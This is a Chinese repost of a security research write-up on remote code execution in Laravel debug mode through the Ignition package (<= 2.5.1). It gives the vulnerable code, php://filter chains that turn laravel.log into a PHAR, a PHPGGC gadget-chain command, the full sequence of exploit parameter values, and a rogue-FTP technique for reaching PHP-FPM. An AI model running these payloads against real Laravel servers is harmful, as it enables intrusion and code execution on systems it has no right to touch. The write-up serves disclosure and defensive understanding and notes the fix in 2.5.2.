Laravel <= v8.4.2调试模式造成远程代码执行漏洞

admin 2021年5月7日09:30:10评论230 views字数 11668阅读38分53秒阅读模式



            2020年11月底, 在为我们的一个客户进行安全审计时, 我们发现了一个基于Laravel的网站. 虽然这个网站的安全状态很好, 但我们注意到它是在调试模式下运行的, 因此显示了大量的错误信息, 包括堆栈痕迹:


Laravel <= v8.4.2调试模式造成远程代码执行漏洞


经过进一步的检查, 我们发现这些堆栈痕迹是由Ignition生成的, 而Ignition是Laravel第6版开始的默认错误页面生成器. 在穷尽了其他漏洞载体之后, 我们开始对这个包进行更精确的检查.


Ignition <= 2.5.1


            除了显示漂亮的堆栈痕迹, Ignition还附带了解决方案, 小段的代码可以解决你在开发应用时可能遇到的问题. 例如,如果我们在模板中使用一个未知变量,会发生这样的情况:


Laravel <= v8.4.2调试模式造成远程代码执行漏洞



通过点击 "使变量可选",我们模板中的{{ $username }}会自动被{{ $username ? '' }}. 如果我们检查我们的HTTP日志,我们可以看到被调用的端点:


Laravel <= v8.4.2调试模式造成远程代码执行漏洞


除了解决方案的类名之外,我们还发送了一个文件路径和一个我们想要替换的变量名。这看起来很有趣。


让我们先检查一下类名向量:我们可以实例化任何东西吗?


class SolutionProviderRepository implements SolutionProviderRepositoryContract{    ...
public function getSolutionForClass(string $solutionClass): ?Solution{ if (! class_exists($solutionClass)) { return null; }
if (! in_array(Solution::class, class_implements($solutionClass))) { return null; }
return app($solutionClass); }}


不是:Ignition会确保我们指向的类实现了RunnableSolution。


那我们就来仔细看看这个类吧。负责这个的代码位于./vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php中。也许我们可以改变一个任意文件的内容?


class MakeViewVariableOptionalSolution implements RunnableSolution{    ...
public function run(array $parameters = []){ $output = $this->makeOptional($parameters); if ($output !== false) { file_put_contents($parameters['viewFile'], $output); } }
public function makeOptional(array $parameters = []){ $originalContents = file_get_contents($parameters['viewFile']); // [1] $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
$originalTokens = token_get_all(Blade::compileString($originalContents)); // [2] $newTokens = token_get_all(Blade::compileString($newContents));
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
if ($expectedTokens !== $newTokens) { // [3] return false; }
return $newContents; }
protected function generateExpectedTokens(array $originalTokens, string $variableName): array{ $expectedTokens = []; foreach ($originalTokens as $token) { $expectedTokens[] = $token; if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) { $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]]; $expectedTokens[] = [T_COALESCE, '??', $token[2]]; $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]]; $expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]]; } }
return $expectedTokens; }
...}


这段代码比我们预想的要复杂一些:读取给定的文件路径[1]后,将$variableName替换为$variableName ? '',初始文件和新文件都将被标记化[2]。如果我们的代码结构没有超出预期的变化,文件将被替换成新的内容。否则,makeOptional将返回false[3],新文件将不会被写入。因此,我们无法使用variableName做太多事情。


唯一剩下的输入变量是viewFile。如果我们对variableName和它的所有用途进行抽象,我们最终会得到下面的代码片段:


$contents = file_get_contents($parameters['viewFile']);file_put_contents($parameters['viewFile'], $contents)


所以我们要把viewFile的内容写回viewFile中,不做任何修改。这什么都没有做!


我们拿出了两种解决方案,如果你想在阅读博文的其余部分之前自己尝试一下,下面是你如何设置实验室:


$ git clone https://github.com/laravel/laravel.git$ cd laravel$ git checkout e849812$ composer install$ composer require facade/ignition==2.5.1$ php artisan serve


日志文件到PHAR


PHP包装器:更改文件


            现在,大家可能都听说过蔡橙子演示的上传进度技术。它利用php://filter来改变文件的内容,然后再返回。我们可以利用这一点,用我们的exploitation primitive来改造文件的内容:


$ echo test | base64 | base64 > /path/to/file.txt$ cat /path/to/file.txtZEdWemRBbz0K
$f = 'php://filter/convert.base64-decode/resource=/path/to/file.txt';# Reads /path/to/file.txt, base64-decodes it, returns the result$contents = file_get_contents($f); # Base64-decodes $contents, then writes the result to /path/to/file.txtfile_put_contents($f, $contents);
$ cat /path/to/file.txttest


            我们已经改变了文件的内容 ! 遗憾的是,这将会应用两次转换。阅读文档后,我们发现有一种方法可以只应用一次:


# To base64-decode once, use:$f = 'php://filter/read=convert.base64-decode/resource=/path/to/file.txt';# OR$f = 'php://filter/write=convert.base64-decode/resource=/path/to/file.txt';


Badchars甚至会被忽略


$ echo ':;.!!!!!ZEdWemRBbz0K:;.!!!!!' > /path/to/file.txt
$f = 'php://filter/read=convert.base64-decode|convert.base64-decode/resource=/path/to/file.txt';$contents = file_get_contents($f); file_put_contents($f, $contents);
$ cat /path/to/file.txttest



编写日志文件

        

            默认情况下,Laravel的日志文件包含每一个PHP错误和堆栈跟踪,存储在存储/log/laravel.log中。让我们通过尝试加载一个不存在的文件来产生错误, SOME_TEXT_OF_OUR_CHOICE:


[2021-01-11 12:39:44] local.ERROR: file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory at /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)[stacktrace]#0 [internal function]: Illuminate\Foundation\Bootstrap\HandleExceptions->handleError()#1 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents()#2 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\Ignition\Solutions\MakeViewVariableOptionalSolution->makeOptional()#3 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\Ignition\Solutions\MakeViewVariableOptionalSolution->run()#4 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\Ignition\Http\Controllers\ExecuteSolutionController->__invoke()[...]#32 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\Pipeline\Pipeline->Illuminate\Pipeline\{closure}()#33 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(141): Illuminate\Pipeline\Pipeline->then()#34 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(110): Illuminate\Foundation\Http\Kernel->sendRequestThroughRouter()#35 /work/pentest/laravel/laravel/public/index.php(52): Illuminate\Foundation\Http\Kernel->handle()#36 /work/pentest/laravel/laravel/server.php(21): require_once('/work/pentest/l...')#37 {main}"}


太棒了,我们可以在文件中注入(几乎)任意的内容。理论上,我们可以使用Orange的技术将日志文件转换为有效的PHAR文件,然后使用phar://包装器来运行序列化的代码。遗憾的是,这行不通,原因有很多。


base64-decode链显示了它的局限性

我们在前面说过,当base64-decoding一个字符串时,PHP会忽略任何坏字符。这是正确的,除了一个字符:=。如果你使用base64-decode过滤一个中间包含一个=的字符串,PHP将产生一个错误并不返回任何内容。


如果我们控制整个文件,这将是很好的。然而,我们注入到日志文件中的文本只是其中很小的一部分。有一个相当大的前缀(日期),还有一个巨大的后缀(堆栈跟踪)。此外,我们注入的文本出现了两次!


这是另一个恐怖的地方:


php > var_dump(base64_decode('[2022-04-30 23:59:11]'))。string(0) ""php > var_dump(base64_decode('[2022-04-12 23:59:11]'))。string(1) "2"


根据日期的不同,两次解码前缀会产生一个不同大小的结果。当我们第三次解码时,在第二种情况下,我们的有效载荷将被前缀为2,从而改变base64消息的对齐方式。


在我们可以使它工作的情况下,我们必须为每个目标建立一个新的有效载荷,因为堆栈跟踪包含绝对的文件名,而且每秒钟都要建立一个新的有效载荷,因为前缀包含时间。而且如果a =成功地进入了许多base64-decodes中的一个,我们仍然会被阻止。


因此,我们回到 PHP 文档中去寻找其他类型的过滤器。


输入编码

让我们回溯一下。日志文件中有这样的内容:


[previous log entries][prefix]PAYLOAD[midfix]PAYLOAD[suffix]


我们已经了解到,遗憾的是,垃圾邮件base64-decode可能会在某些时候失败。让我们利用这一点:如果我们发送垃圾邮件,就会发生一个解码错误,日志文件就会被清除! 我们造成的下一个错误将在日志文件中独立存在:


[prefix]PAYLOAD[midfix]PAYLOAD[suffix]


现在,我们又回到了最初的问题上:保留一个有效载荷并删除其余部分。幸运的是,php://filter并不限于base64操作。例如,你可以用它来转换字符集。这里是UTF-16到UTF-8的转换:


echo -ne '[Some prefix ]PAYLOAD[midfix]PAYLOAD[Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
卛浯⁥牰晥硩崠PAYLOAD浛摩楦嵸PAYLOAD卛浯⁥畳晦硩崠


这真的很好:我们的有效载荷在那里,安全无恙,前缀和后缀变成了非ASCII字符。然而,在日志条目中,我们的有效载荷显示了两次,而不是一次。我们需要去掉第二个。


由于UTF-16是用两个字节工作的,所以我们可以通过在payload的末尾增加一个字节来错位第二个实例:


echo -ne '[Some prefix ]PAYLOADX[midfix]PAYLOADX[Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');卛浯⁥牰晥硩崠PAYLOAD存業晤硩偝䄀夀䰀伀䄀䐀堀卛浯⁥畳晦硩崠


这样做的好处是,前缀的对齐方式不再重要:如果前缀大小均匀,第一个有效载荷将被正确解码。如果不是,第二个就会被正确解码。


我们现在可以将我们的发现与通常的base64解码结合起来,对任何我们想要的东西进行编码:


$ echo -n TEST! | base64 | sed -E 's/./\0/g'VEVTVCE=$ echo -ne '[Some prefix ]VEVTVCE=X[midfix]VEVTVCE=X[Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8|convert.base64-decode/resource=/tmp/test.txt');TEST!


说到对齐,如果日志文件本身不是2字节对齐的,转换过滤器会如何处理?


PHP Warning:  file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence in php shell code on line 1


又是一个问题。我们可以很容易地通过两个有效载荷来解决这个问题:一个是无害的有效载荷A,另一个是主动的有效载荷B:


[prefix]PAYLOAD_A[midfix]PAYLOAD_A[suffix][prefix]PAYLOAD_B[midfix]PAYLOAD_B[suffix]


由于前缀、中缀和后缀都存在两次,还有payload_a和payload_b,所以日志文件的大小必然是偶数,避免了错误的发生。


最后,我们还要解决最后一个问题:我们使用NULL字节将payload字节从一个垫到两个。在PHP中试图加载一个带有NULL字节的文件,结果会出现以下错误:


PHP Warning:  file_get_contents() expects parameter 1 to be a valid path, string given in php shell code on line 1


因此,我们将无法在错误日志中注入一个带有NULL字节的有效载荷。幸运的是,最后一个过滤器来拯救我们:convert.quoted-printable-decode。


我们可以使用=00对NULL字节进行编码。


这是我们最后的转换链:


viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log


完整的开发步骤

创建一个PHPGGC有效载荷并对其进行编码:


php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | sed -E 's/./=00/g'U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00==00==00


清理日志(x10)


viewFile: php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/path/to/storage/logs/laravel.log


创建第一个日志条目,用于对齐:


viewFile: AA


创建带有有效载荷的日志条目:


viewFile: U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00==00==00


应用我们的过滤器将日志文件转换为有效的PHAR:


viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log


启动PHAR反序列化:


viewFile: phar:///path/to/storage/logs/laravel.log


Result:


Laravel <= v8.4.2调试模式造成远程代码执行漏洞


As an exploit:


Laravel <= v8.4.2调试模式造成远程代码执行漏洞


在确认了本地环境下的攻击后,我们继续在目标上进行测试,但没有成功。日志文件有一个不同的名字。在花了几个小时试图猜测它的名字后,我们猜不出来,于是只好实施另一种攻击。我们也许应该提前检查一下。


用FTP与PHP-FPM对话

由于我们可以运行 file_get_contents 来查找任何东西,我们可以通过发出 HTTP 请求来扫描常用端口。PHP-FPM似乎在9000端口上监听。


众所周知,如果你能向PHP-FPM服务发送一个任意的二进制数据包,你就可以在机器上执行代码。这种技术经常与gopher://协议结合使用,curl支持gopher://协议,但PHP不支持。


另一个已知的允许你通过TCP发送二进制数据包的协议是FTP,更准确的说是它的被动模式:如果一个客户端试图从FTP服务器上读取一个文件(或写到),服务器可以告诉客户端将文件的内容读取(或写)到一个特定的IP和端口上。这些IP和端口可以是什么,没有限制。例如,服务器可以告诉客户机连接到自己的一个端口,如果它愿意的话。


现在,如果我们尝试使用viewFile=ftp://evil-server.lexfo.fr/file.txt来利用这个漏洞,会发生以下情况。


file_get_contents() 连接到我们的FTP服务器,并下载file.txt。

file_put_contents() 连接到我们的 FTP 服务器,并将其上传到 file.txt。

你可能知道这是怎么回事:我们将使用FTP协议的被动模式使file_get_contents()在我们的服务器上下载一个文件,当它试图使用file_put_contents()把它上传回来时,我们将告诉它把文件发送到127.0.0.1:9000。


这样我们就可以向PHP-FPM发送一个任意数据包,从而执行代码。


这一次,在我们的目标上成功地进行了利用。


我们在2020年11月16日在GitHub上向Ignition的维护者报告了这个bug以及一个补丁,第二天就发布了一个新的版本(2.5.2)。由于它是Laravel的一个require-dev依赖,我们希望在这个日期之后安装的每个实例都是安全的。



参考文献:

https://www.ambionics.io/blog/laravel-debug-rce


本文始发于微信公众号(Khan安全团队):Laravel <= v8.4.2调试模式造成远程代码执行漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月7日09:30:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Laravel <= v8.4.2调试模式造成远程代码执行漏洞https://cn-sec.com/archives/241565.html

发表评论

匿名网友 填写信息